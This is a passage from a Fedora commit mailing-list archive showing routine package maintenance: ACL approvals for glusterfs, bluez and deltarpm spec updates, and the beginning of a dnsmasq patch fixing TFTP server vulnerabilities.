Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091809.4AA8510F8AD@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora 11) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:09 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091809.B288F10F8B3@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora 11) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:11 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091811.C3AF310F895@bastion2.fedora.phx.redhat.com>

thias has set the watchbugzilla acl on glusterfs (Fedora 12) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:12 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091812.6AC1110F8B5@bastion2.fedora.phx.redhat.com>

thias has set the watchcommits acl on glusterfs (Fedora 12) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From pkgdb at fedoraproject.org  Mon Oct  5 09:18:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 09:18:14 +0000
Subject: [pkgdb] glusterfs had acl change status
Message-ID: <20091005091814.C0FF610F8A3@bastion2.fedora.phx.redhat.com>

thias has set the commit acl on glusterfs (Fedora 12) to Approved for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/glusterfs



From hadess at fedoraproject.org  Mon Oct  5 09:29:43 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 09:29:43 +0000 (UTC)
Subject: rpms/bluez/F-12 .cvsignore, 1.48, 1.49 bluez.spec, 1.98,
	1.99 sources, 1.48, 1.49
Message-ID: <20091005092943.610F811C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13867

Modified Files:
	.cvsignore bluez.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
- Update to 4.55



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	24 Sep 2009 21:56:50 -0000	1.48
+++ .cvsignore	5 Oct 2009 09:29:42 -0000	1.49
@@ -1 +1 @@
-bluez-4.54.tar.gz
+bluez-4.55.tar.gz


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/bluez.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- bluez.spec	24 Sep 2009 21:56:51 -0000	1.98
+++ bluez.spec	5 Oct 2009 09:29:43 -0000	1.99
@@ -1,6 +1,6 @@
 Summary: Bluetooth utilities
 Name: bluez
-Version: 4.54
+Version: 4.55
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -271,6 +271,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
+- Update to 4.55
+
 * Thu Sep 24 2009 Bastien Nocera <bnocera at redhat.com> 4.54-1
 - Update to 4.54
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 21:56:51 -0000	1.48
+++ sources	5 Oct 2009 09:29:43 -0000	1.49
@@ -1 +1 @@
-a2d5a88fb1058f2b0422bfcce335b3a2  bluez-4.54.tar.gz
+febbbbb512eb5ed9c28aa8008ae952a7  bluez-4.55.tar.gz



From hadess at fedoraproject.org  Mon Oct  5 09:38:20 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 09:38:20 +0000 (UTC)
Subject: rpms/bluez/F-12 0001-Add-sixaxis-cable-pairing-plugin.patch, 1.5,
	1.6
Message-ID: <20091005093820.E196911C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16783

Modified Files:
	0001-Add-sixaxis-cable-pairing-plugin.patch 
Log Message:
update cable pairing patch

0001-Add-sixaxis-cable-pairing-plugin.patch:
 Makefile.am     |    9 +
 acinclude.m4    |   15 ++
 configure.ac    |    1 
 plugins/cable.c |  363 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 387 insertions(+), 1 deletion(-)

Index: 0001-Add-sixaxis-cable-pairing-plugin.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/0001-Add-sixaxis-cable-pairing-plugin.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 0001-Add-sixaxis-cable-pairing-plugin.patch	16 Sep 2009 10:07:26 -0000	1.5
+++ 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 09:38:20 -0000	1.6
@@ -1,4 +1,4 @@
-From 0cb2225079979cc3c85c02a981ebad7742c1ff72 Mon Sep 17 00:00:00 2001
+From 3727fcbf09a33550698cdda2a2d0a7afa31e594a Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 1 Sep 2009 17:32:48 +0100
 Subject: [PATCH] Add sixaxis cable-pairing plugin
@@ -11,14 +11,14 @@ the device is selected, poked around to 
 address, and added to the database of the current default adapter.
 ---
  Makefile.am     |    9 ++
- acinclude.m4    |   16 +++
+ acinclude.m4    |   15 +++
  configure.ac    |    1 +
  plugins/cable.c |  362 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 4 files changed, 388 insertions(+), 0 deletions(-)
+ 4 files changed, 387 insertions(+), 0 deletions(-)
  create mode 100644 plugins/cable.c
 
 diff --git a/Makefile.am b/Makefile.am
-index 09eb7ec..ad6fe25 100644
+index c8337d6..0bdf694 100644
 --- a/Makefile.am
 +++ b/Makefile.am
 @@ -162,6 +162,15 @@ builtin_modules += service
@@ -38,7 +38,7 @@ index 09eb7ec..ad6fe25 100644
  builtin_sources += plugins/hciops.c
  
 diff --git a/acinclude.m4 b/acinclude.m4
-index 44f7c72..465fb67 100644
+index e7d1c32..54802be 100644
 --- a/acinclude.m4
 +++ b/acinclude.m4
 @@ -142,6 +142,12 @@ AC_DEFUN([AC_PATH_USB], [
@@ -54,7 +54,7 @@ index 44f7c72..465fb67 100644
  AC_DEFUN([AC_PATH_NETLINK], [
  	PKG_CHECK_MODULES(NETLINK, libnl-1, netlink_found=yes, netlink_found=no)
  	AC_SUBST(NETLINK_CFLAGS)
-@@ -163,6 +169,7 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -170,6 +176,7 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  	netlink_enable=no
  	hal_enable=${hal_found}
  	usb_enable=${usb_found}
@@ -62,7 +62,7 @@ index 44f7c72..465fb67 100644
  	alsa_enable=${alsa_found}
  	gstreamer_enable=${gstreamer_found}
  	audio_enable=yes
-@@ -228,6 +235,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -239,6 +246,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  		usb_enable=${enableval}
  	])
  
@@ -73,25 +73,24 @@ index 44f7c72..465fb67 100644
  	AC_ARG_ENABLE(netlink, AC_HELP_STRING([--enable-netlink], [enable NETLINK support]), [
  		netlink_enable=${enableval}
  	])
-@@ -311,6 +322,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
- 		AC_DEFINE(HAVE_LIBUSB, 1, [Define to 1 if you have USB library.])
- 	fi
+@@ -324,6 +335,9 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  
+ 	if (test "${capng_enable}" = "yes" && test "${capng_found}" = "yes"); then
+ 		AC_DEFINE(HAVE_CAPNG, 1, [Define to 1 if you have capabilities library.])
++
 +	if (test "${cable_enable}" = "yes" && test "${cable_found}" = "yes"); then
 +		AC_DEFINE(HAVE_CABLE, 1, [Define to 1 if you have libcable.])
-+	fi
-+
+ 	fi
+ 
  	AM_CONDITIONAL(SNDFILE, test "${sndfile_enable}" = "yes" && test "${sndfile_found}" = "yes")
- 	AM_CONDITIONAL(NETLINK, test "${netlink_enable}" = "yes" && test "${netlink_found}" = "yes")
- 	AM_CONDITIONAL(USB, test "${usb_enable}" = "yes" && test "${usb_found}" = "yes")
-@@ -335,4 +350,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -350,4 +364,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  	AM_CONDITIONAL(DFUTOOL, test "${dfutool_enable}" = "yes" && test "${usb_found}" = "yes")
  	AM_CONDITIONAL(UDEVRULES, test "${udevrules_enable}" = "yes")
  	AM_CONDITIONAL(CONFIGFILES, test "${configfiles_enable}" = "yes")
 +	AM_CONDITIONAL(CABLE, test "${cable_enable}" = "yes" && test "${cable_found}" = "yes")
  ])
 diff --git a/configure.ac b/configure.ac
-index 9e5279d..8b17659 100644
+index b93cca0..5df134f 100644
 --- a/configure.ac
 +++ b/configure.ac
 @@ -40,6 +40,7 @@ AC_PATH_GLIB
@@ -101,7 +100,7 @@ index 9e5279d..8b17659 100644
 +AC_PATH_CABLE
  AC_PATH_NETLINK
  AC_PATH_SNDFILE
- 
+ AC_PATH_CAPNG
 diff --git a/plugins/cable.c b/plugins/cable.c
 new file mode 100644
 index 0000000..6e81ba0
@@ -471,5 +470,5 @@ index 0000000..6e81ba0
 +BLUETOOTH_PLUGIN_DEFINE(cable, VERSION,
 +			BLUETOOTH_PLUGIN_PRIORITY_DEFAULT, cable_init, cable_exit)
 -- 
-1.6.2.5
+1.6.4.4
 



From hadess at fedoraproject.org  Mon Oct  5 09:48:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 09:48:16 +0000 (UTC)
Subject: rpms/bluez/F-12 0001-Add-sixaxis-cable-pairing-plugin.patch, 1.6,
	1.7
Message-ID: <20091005094816.4438911C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19913

Modified Files:
	0001-Add-sixaxis-cable-pairing-plugin.patch 
Log Message:
update cable pairing patch

0001-Add-sixaxis-cable-pairing-plugin.patch:
 Makefile.am     |    9 +
 acinclude.m4    |   16 ++
 configure.ac    |    1 
 plugins/cable.c |  363 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 388 insertions(+), 1 deletion(-)

Index: 0001-Add-sixaxis-cable-pairing-plugin.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/0001-Add-sixaxis-cable-pairing-plugin.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 09:38:20 -0000	1.6
+++ 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 09:48:15 -0000	1.7
@@ -1,4 +1,4 @@
-From 3727fcbf09a33550698cdda2a2d0a7afa31e594a Mon Sep 17 00:00:00 2001
+From df50f89ea8967fa0ba0d21aac0ce905801d31c70 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 1 Sep 2009 17:32:48 +0100
 Subject: [PATCH] Add sixaxis cable-pairing plugin
@@ -11,10 +11,10 @@ the device is selected, poked around to 
 address, and added to the database of the current default adapter.
 ---
  Makefile.am     |    9 ++
- acinclude.m4    |   15 +++
+ acinclude.m4    |   16 +++
  configure.ac    |    1 +
  plugins/cable.c |  362 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 4 files changed, 387 insertions(+), 0 deletions(-)
+ 4 files changed, 388 insertions(+), 0 deletions(-)
  create mode 100644 plugins/cable.c
 
 diff --git a/Makefile.am b/Makefile.am
@@ -38,7 +38,7 @@ index c8337d6..0bdf694 100644
  builtin_sources += plugins/hciops.c
  
 diff --git a/acinclude.m4 b/acinclude.m4
-index e7d1c32..54802be 100644
+index e7d1c32..3feddf8 100644
 --- a/acinclude.m4
 +++ b/acinclude.m4
 @@ -142,6 +142,12 @@ AC_DEFUN([AC_PATH_USB], [
@@ -73,17 +73,18 @@ index e7d1c32..54802be 100644
  	AC_ARG_ENABLE(netlink, AC_HELP_STRING([--enable-netlink], [enable NETLINK support]), [
  		netlink_enable=${enableval}
  	])
-@@ -324,6 +335,9 @@ AC_DEFUN([AC_ARG_BLUEZ], [
- 
- 	if (test "${capng_enable}" = "yes" && test "${capng_found}" = "yes"); then
+@@ -326,6 +337,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  		AC_DEFINE(HAVE_CAPNG, 1, [Define to 1 if you have capabilities library.])
-+
-+	if (test "${cable_enable}" = "yes" && test "${cable_found}" = "yes"); then
-+		AC_DEFINE(HAVE_CABLE, 1, [Define to 1 if you have libcable.])
  	fi
  
++	if (test "${cable_enable}" = "yes" && test "${cable_found}" = "yes"); then
++		AC_DEFINE(HAVE_CABLE, 1, [Define to 1 if you have libcable.])
++	fi
++
  	AM_CONDITIONAL(SNDFILE, test "${sndfile_enable}" = "yes" && test "${sndfile_found}" = "yes")
-@@ -350,4 +364,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+ 	AM_CONDITIONAL(NETLINK, test "${netlink_enable}" = "yes" && test "${netlink_found}" = "yes")
+ 	AM_CONDITIONAL(USB, test "${usb_enable}" = "yes" && test "${usb_found}" = "yes")
+@@ -350,4 +365,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  	AM_CONDITIONAL(DFUTOOL, test "${dfutool_enable}" = "yes" && test "${usb_found}" = "yes")
  	AM_CONDITIONAL(UDEVRULES, test "${udevrules_enable}" = "yes")
  	AM_CONDITIONAL(CONFIGFILES, test "${configfiles_enable}" = "yes")



From hadess at fedoraproject.org  Mon Oct  5 10:01:03 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 10:01:03 +0000 (UTC)
Subject: rpms/bluez/devel .cvsignore, 1.48,
	1.49 0001-Add-sixaxis-cable-pairing-plugin.patch, 1.5,
	1.6 bluez.spec, 1.98, 1.99 sources, 1.48, 1.49
Message-ID: <20091005100103.9690F11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24306

Modified Files:
	.cvsignore 0001-Add-sixaxis-cable-pairing-plugin.patch 
	bluez.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
- Update to 4.55
- Add libcap-ng support to drop capabilities (#517660)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	24 Sep 2009 21:56:50 -0000	1.48
+++ .cvsignore	5 Oct 2009 10:01:02 -0000	1.49
@@ -1 +1 @@
-bluez-4.54.tar.gz
+bluez-4.55.tar.gz

0001-Add-sixaxis-cable-pairing-plugin.patch:
 Makefile.am     |    9 +
 acinclude.m4    |   16 ++
 configure.ac    |    1 
 plugins/cable.c |  363 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 388 insertions(+), 1 deletion(-)

Index: 0001-Add-sixaxis-cable-pairing-plugin.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/0001-Add-sixaxis-cable-pairing-plugin.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- 0001-Add-sixaxis-cable-pairing-plugin.patch	16 Sep 2009 10:07:26 -0000	1.5
+++ 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 10:01:03 -0000	1.6
@@ -1,4 +1,4 @@
-From 0cb2225079979cc3c85c02a981ebad7742c1ff72 Mon Sep 17 00:00:00 2001
+From df50f89ea8967fa0ba0d21aac0ce905801d31c70 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 1 Sep 2009 17:32:48 +0100
 Subject: [PATCH] Add sixaxis cable-pairing plugin
@@ -18,7 +18,7 @@ address, and added to the database of th
  create mode 100644 plugins/cable.c
 
 diff --git a/Makefile.am b/Makefile.am
-index 09eb7ec..ad6fe25 100644
+index c8337d6..0bdf694 100644
 --- a/Makefile.am
 +++ b/Makefile.am
 @@ -162,6 +162,15 @@ builtin_modules += service
@@ -38,7 +38,7 @@ index 09eb7ec..ad6fe25 100644
  builtin_sources += plugins/hciops.c
  
 diff --git a/acinclude.m4 b/acinclude.m4
-index 44f7c72..465fb67 100644
+index e7d1c32..3feddf8 100644
 --- a/acinclude.m4
 +++ b/acinclude.m4
 @@ -142,6 +142,12 @@ AC_DEFUN([AC_PATH_USB], [
@@ -54,7 +54,7 @@ index 44f7c72..465fb67 100644
  AC_DEFUN([AC_PATH_NETLINK], [
  	PKG_CHECK_MODULES(NETLINK, libnl-1, netlink_found=yes, netlink_found=no)
  	AC_SUBST(NETLINK_CFLAGS)
-@@ -163,6 +169,7 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -170,6 +176,7 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  	netlink_enable=no
  	hal_enable=${hal_found}
  	usb_enable=${usb_found}
@@ -62,7 +62,7 @@ index 44f7c72..465fb67 100644
  	alsa_enable=${alsa_found}
  	gstreamer_enable=${gstreamer_found}
  	audio_enable=yes
-@@ -228,6 +235,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -239,6 +246,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  		usb_enable=${enableval}
  	])
  
@@ -73,8 +73,8 @@ index 44f7c72..465fb67 100644
  	AC_ARG_ENABLE(netlink, AC_HELP_STRING([--enable-netlink], [enable NETLINK support]), [
  		netlink_enable=${enableval}
  	])
-@@ -311,6 +322,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
- 		AC_DEFINE(HAVE_LIBUSB, 1, [Define to 1 if you have USB library.])
+@@ -326,6 +337,10 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+ 		AC_DEFINE(HAVE_CAPNG, 1, [Define to 1 if you have capabilities library.])
  	fi
  
 +	if (test "${cable_enable}" = "yes" && test "${cable_found}" = "yes"); then
@@ -84,14 +84,14 @@ index 44f7c72..465fb67 100644
  	AM_CONDITIONAL(SNDFILE, test "${sndfile_enable}" = "yes" && test "${sndfile_found}" = "yes")
  	AM_CONDITIONAL(NETLINK, test "${netlink_enable}" = "yes" && test "${netlink_found}" = "yes")
  	AM_CONDITIONAL(USB, test "${usb_enable}" = "yes" && test "${usb_found}" = "yes")
-@@ -335,4 +350,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
+@@ -350,4 +365,5 @@ AC_DEFUN([AC_ARG_BLUEZ], [
  	AM_CONDITIONAL(DFUTOOL, test "${dfutool_enable}" = "yes" && test "${usb_found}" = "yes")
  	AM_CONDITIONAL(UDEVRULES, test "${udevrules_enable}" = "yes")
  	AM_CONDITIONAL(CONFIGFILES, test "${configfiles_enable}" = "yes")
 +	AM_CONDITIONAL(CABLE, test "${cable_enable}" = "yes" && test "${cable_found}" = "yes")
  ])
 diff --git a/configure.ac b/configure.ac
-index 9e5279d..8b17659 100644
+index b93cca0..5df134f 100644
 --- a/configure.ac
 +++ b/configure.ac
 @@ -40,6 +40,7 @@ AC_PATH_GLIB
@@ -101,7 +101,7 @@ index 9e5279d..8b17659 100644
 +AC_PATH_CABLE
  AC_PATH_NETLINK
  AC_PATH_SNDFILE
- 
+ AC_PATH_CAPNG
 diff --git a/plugins/cable.c b/plugins/cable.c
 new file mode 100644
 index 0000000..6e81ba0
@@ -471,5 +471,5 @@ index 0000000..6e81ba0
 +BLUETOOTH_PLUGIN_DEFINE(cable, VERSION,
 +			BLUETOOTH_PLUGIN_PRIORITY_DEFAULT, cable_init, cable_exit)
 -- 
-1.6.2.5
+1.6.4.4
 


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/bluez.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- bluez.spec	24 Sep 2009 21:56:51 -0000	1.98
+++ bluez.spec	5 Oct 2009 10:01:03 -0000	1.99
@@ -1,6 +1,6 @@
 Summary: Bluetooth utilities
 Name: bluez
-Version: 4.54
+Version: 4.55
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -32,6 +32,7 @@ BuildRequires: dbus-devel >= 0.90
 BuildRequires: libusb-devel, glib2-devel, alsa-lib-devel
 BuildRequires: gstreamer-plugins-base-devel, gstreamer-devel
 BuildRequires: libsndfile-devel
+BuildRequires: libcap-ng-devel
 # For cable pairing
 BuildRequires: libgudev-devel 
 %ifnarch s390 s390x
@@ -271,6 +272,10 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 4.55-1
+- Update to 4.55
+- Add libcap-ng support to drop capabilities (#517660)
+
 * Thu Sep 24 2009 Bastien Nocera <bnocera at redhat.com> 4.54-1
 - Update to 4.54
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 21:56:51 -0000	1.48
+++ sources	5 Oct 2009 10:01:03 -0000	1.49
@@ -1 +1 @@
-a2d5a88fb1058f2b0422bfcce335b3a2  bluez-4.54.tar.gz
+febbbbb512eb5ed9c28aa8008ae952a7  bluez-4.55.tar.gz



From jdieter at fedoraproject.org  Mon Oct  5 10:14:45 2009
From: jdieter at fedoraproject.org (Jonathan Dieter)
Date: Mon,  5 Oct 2009 10:14:45 +0000 (UTC)
Subject: rpms/deltarpm/F-11 deltarpm.spec,1.19,1.20
Message-ID: <20091005101445.A98C211C00DB@cvs1.fedora.phx.redhat.com>

Author: jdieter

Update of /cvs/extras/rpms/deltarpm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27472

Modified Files:
	deltarpm.spec 
Log Message:
Re-split drpmsync into subpackage



Index: deltarpm.spec
===================================================================
RCS file: /cvs/extras/rpms/deltarpm/F-11/deltarpm.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- deltarpm.spec	1 Oct 2009 06:19:59 -0000	1.19
+++ deltarpm.spec	5 Oct 2009 10:14:45 -0000	1.20
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -27,6 +27,14 @@ to recreate the new rpm from the deltarp
 one. You don't have to have a copy of the old rpm,
 deltarpms can also work with installed rpms.
 
+%package -n drpmsync
+Summary: Sync a file tree with deltarpms
+Requires: deltarpm = %{version}-%{release}
+
+%description -n drpmsync
+This package contains a tool to sync a file tree with
+deltarpms.
+
 %prep
 %setup -q
 %patch0 -p0 -b .multilib
@@ -52,17 +60,29 @@ deltarpms can also work with installed r
 %files
 %defattr(-, root, root, 0755)
 %doc LICENSE.BSD README
-%doc %{_mandir}/man8/*
-%{_bindir}/applydeltaiso
+%doc %{_mandir}/man8/applydeltarpm*
+%doc %{_mandir}/man8/makedeltarpm*
+%doc %{_mandir}/man8/combinedeltarpm*
+%doc %{_mandir}/man8/applydeltaiso*
+%doc %{_mandir}/man8/makedeltaiso*
 %{_bindir}/applydeltarpm
 %{_bindir}/combinedeltarpm
-%{_bindir}/drpmsync
-%{_bindir}/fragiso
-%{_bindir}/makedeltaiso
 %{_bindir}/makedeltarpm
 %{_bindir}/rpmdumpheader
+%{_bindir}/applydeltaiso
+%{_bindir}/fragiso
+%{_bindir}/makedeltaiso
+
+%files -n drpmsync
+%defattr(-, root, root, 0755)
+%doc LICENSE.BSD README
+%doc %{_mandir}/man8/drpmsync*
+%{_bindir}/drpmsync
 
 %changelog
+* Mon Oct  5 2009 Jonathan Dieter <jdieter at lesbg.com> - 3.4-18
+- Re-split off drpmsync from main package
+
 * Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-17
 - Work around cvs tag problem
 
@@ -72,10 +92,10 @@ deltarpms can also work with installed r
 - Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
   of making rsync-friendly compressed files.
 
-* Thu Mar 26 2009 Jonathan Dieter <jdieter at gmail.com> - 3.4-15
+* Thu Mar 26 2009 Jonathan Dieter <jdieter at lesbg.com> - 3.4-15
 - Fix bug when checking sequence with new sha256 file digests
 
-* Tue Mar 24 2009 Jonathan Dieter <jdieter at gmail.com> - 3.4-14
+* Tue Mar 24 2009 Jonathan Dieter <jdieter at lesbg.com> - 3.4-14
 - Add support for rpms with sha256 file digests
 
 * Fri Mar 06 2009 Jesse Keating <jkeating at redhat.com> - 3.4-13
@@ -84,26 +104,26 @@ deltarpms can also work with installed r
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.4-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Sun Jul 13 2008 Jonathan Dieter <jdieter at gmail.com> - 3.4-11
+* Sun Jul 13 2008 Jonathan Dieter <jdieter at lesbg.com> - 3.4-11
 - Rebuild for rpm 4.6
 
 * Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 3.4-10
 - Autorebuild for GCC 4.3
 
-* Mon Jan  7 2008 Jonathan Dieter <jdieter at gmail.com> - 3.4-9
+* Mon Jan  7 2008 Jonathan Dieter <jdieter at lesbg.com> - 3.4-9
 - Add patch that allows deltarpm to rebuild rpms from deltarpms that have
   had the rpm signature added after their creation.  The code came from
   upstream.
 - Drop nodoc patch added in 3.4-4 as most packages in repository have been
   updated since April-May 2007 and this patch was supposed to be temporary.
 
-* Wed Aug 29 2007 Jonathan Dieter <jdieter at gmail.com> - 3.4-6
+* Wed Aug 29 2007 Jonathan Dieter <jdieter at lesbg.com> - 3.4-6
 - Bring in popt-devel in BuildRequires to fix build in x86_64
 
 * Wed Aug 29 2007 Fedora Release Engineering <rel-eng at fedoraproject dot org> - 3.4-5
 - Rebuild for selinux ppc32 issue.
 
-* Wed Jul 11 2007 Jonathan Dieter <jdieter at gmail.com> - 3.4-4
+* Wed Jul 11 2007 Jonathan Dieter <jdieter at lesbg.com> - 3.4-4
 - Fix prelink bug
 - Ignore verify bits on %doc files as they were set incorrectly in older
   versions of rpm.  Without this patch, deltarpm will not delta doc files



From markmc at fedoraproject.org  Mon Oct  5 10:26:36 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 10:26:36 +0000 (UTC)
Subject: rpms/dnsmasq/devel dnsmasq-2.48-tftp-server-vulnerabilities.patch, 
	NONE, 1.1 dnsmasq.spec, 1.41, 1.42
Message-ID: <20091005102636.0701811C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/dnsmasq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30439

Modified Files:
	dnsmasq.spec 
Added Files:
	dnsmasq-2.48-tftp-server-vulnerabilities.patch 
Log Message:
* Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2.48-4
- Fix multiple TFTP server vulnerabilities (CVE-2009-2957, CVE-2009-2958)


dnsmasq-2.48-tftp-server-vulnerabilities.patch:
 tftp.c |   36 ++++++++++++++++++------------------
 1 file changed, 18 insertions(+), 18 deletions(-)

--- NEW FILE dnsmasq-2.48-tftp-server-vulnerabilities.patch ---
diff -up dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities dnsmasq-2.48/src/tftp.c
--- dnsmasq-2.48/src/tftp.c.tftp-server-vulnerabilities	2009-10-05 11:15:10.104555320 +0100
+++ dnsmasq-2.48/src/tftp.c	2009-10-05 11:15:12.104564277 +0100
@@ -192,20 +192,21 @@ void tftp_request(struct listener *liste
       
       while ((opt = next(&p, end)))
 	{
-	  if (strcasecmp(opt, "blksize") == 0 &&
-	      (opt = next(&p, end)) &&
-	      !(daemon->options & OPT_TFTP_NOBLOCK))
+	  if (strcasecmp(opt, "blksize") == 0)
 	    {
-	      transfer->blocksize = atoi(opt);
-	      if (transfer->blocksize < 1)
-		transfer->blocksize = 1;
-	      if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
-		transfer->blocksize = (unsigned)daemon->packet_buff_sz - 4;
-	      transfer->opt_blocksize = 1;
-	      transfer->block = 0;
+	      if ((opt = next(&p, end)) &&
+		  !(daemon->options & OPT_TFTP_NOBLOCK))
+		{
+		  transfer->blocksize = atoi(opt);
+		  if (transfer->blocksize < 1)
+		    transfer->blocksize = 1;
+		  if (transfer->blocksize > (unsigned)daemon->packet_buff_sz - 4)
